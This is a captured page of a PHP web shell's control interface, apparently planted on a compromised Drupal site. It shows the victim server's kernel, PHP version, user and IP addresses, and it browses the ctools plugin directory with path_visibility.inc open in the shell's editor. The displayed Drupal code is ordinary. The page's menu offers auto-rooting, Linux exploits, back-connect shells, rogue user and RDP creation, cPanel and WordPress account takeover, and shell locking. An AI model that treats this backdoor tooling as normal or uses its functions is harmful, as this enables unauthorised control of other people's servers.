Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.226.214.1
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
ctools /
plugins /
access /
[ HOME SHELL ]
Name
Size
Permission
Action
book.inc
2.59
KB
-rw-r--r--
compare_users.inc
2.33
KB
-rw-r--r--
context_exists.inc
1.83
KB
-rw-r--r--
entity_bundle.inc
4.51
KB
-rw-r--r--
entity_field_value.inc
14.35
KB
-rw-r--r--
front.inc
1.04
KB
-rw-r--r--
node.inc
0
B
-rw-r--r--
node_access.inc
2.65
KB
-rw-r--r--
node_comment.inc
923
B
-rw-r--r--
node_language.inc
3.41
KB
-rw-r--r--
node_status.inc
915
B
-rw-r--r--
node_type.inc
3.71
KB
-rw-r--r--
path_visibility.inc
3.08
KB
-rw-r--r--
perm.inc
2.08
KB
-rw-r--r--
php.inc
2.1
KB
-rw-r--r--
role.inc
2.38
KB
-rw-r--r--
site_language.inc
2.46
KB
-rw-r--r--
string_equal.inc
2.78
KB
-rw-r--r--
string_length.inc
2.28
KB
-rw-r--r--
term.inc
3.8
KB
-rw-r--r--
term_has_parent.inc
5.66
KB
-rw-r--r--
term_parent.inc
2.74
KB
-rw-r--r--
term_vocabulary.inc
3.77
KB
-rw-r--r--
theme.inc
1.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : path_visibility.inc
<?php /** * @file * Plugin to provide access control/visibility based on path. */ $plugin = array( 'title' => t('String: URL path'), 'description' => t('Control access by the current path.'), 'callback' => 'ctools_path_visibility_ctools_access_check', 'settings form' => 'ctools_path_visibility_ctools_access_settings', 'summary' => 'ctools_path_visibility_ctools_access_summary', 'required context' => new ctools_context_optional(t('Path'), 'string'), 'default' => array('visibility_setting' => 1, 'paths' => ''), ); /** * Settings form */ function ctools_path_visibility_ctools_access_settings($form, &$form_state, $conf) { $form['settings']['note'] = array( '#value' => '<div class="description">' . t('Note: if no context is chosen, the current page path will be used.') . '</div>', ); $form['settings']['visibility_setting'] = array( '#type' => 'radios', '#options' => array( 1 => t('Allow access on the following pages'), 0 => t('Allow access on all pages except the following pages'), ), '#default_value' => $conf['visibility_setting'], ); $form['settings']['paths'] = array( '#type' => 'textarea', '#title' => t('Paths'), '#default_value' => $conf['paths'], '#description' => t("Enter one page per line as Drupal paths. The '*' character is a wildcard. Example paths are %blog for the blog page and %blog-wildcard for every personal blog. %front is the front page.", array('%blog' => 'blog', '%blog-wildcard' => 'blog/*', '%front' => '<front>')), ); return $form; } /** * Check for access. */ function ctools_path_visibility_ctools_access_check($conf, $context) { if (isset($context->data)) { $base_path = $context->data; } else { $base_path = $_GET['q']; } $path = drupal_get_path_alias($base_path); $page_match = drupal_match_path($path, $conf['paths']); // If there's a path alias, we may still be at the un-aliased path // so check that as well. if (!isset($context->data) && $path != $base_path) { $page_match = $page_match || drupal_match_path($base_path, $conf['paths']); } // When $conf['visibility_setting'] has a value of 0, the block is displayed // on all pages except those listed in $block->pages. When set to 1, it // is displayed only on those pages listed in $block->pages. $page_match = !($conf['visibility_setting'] xor $page_match); return $page_match; } /** * Provide a summary description. */ function ctools_path_visibility_ctools_access_summary($conf, $context) { $paths = array(); foreach (explode("\n", $conf['paths']) as $path) { $paths[] = check_plain($path); } $identifier = $context->type == 'any' ? t('Current path') : $context->identifier; if ($conf['visibility_setting']) { return format_plural(count($paths), '@identifier is "@paths"', '@identifier type is one of "@paths"', array('@paths' => implode(', ', $paths), '@identifier' => $identifier)); } else { return format_plural(count($paths), '@identifier is not "@paths"', '@identifier type is not one of "@paths"', array('@paths' => implode(', ', $paths), '@identifier' => $identifier)); } }
Close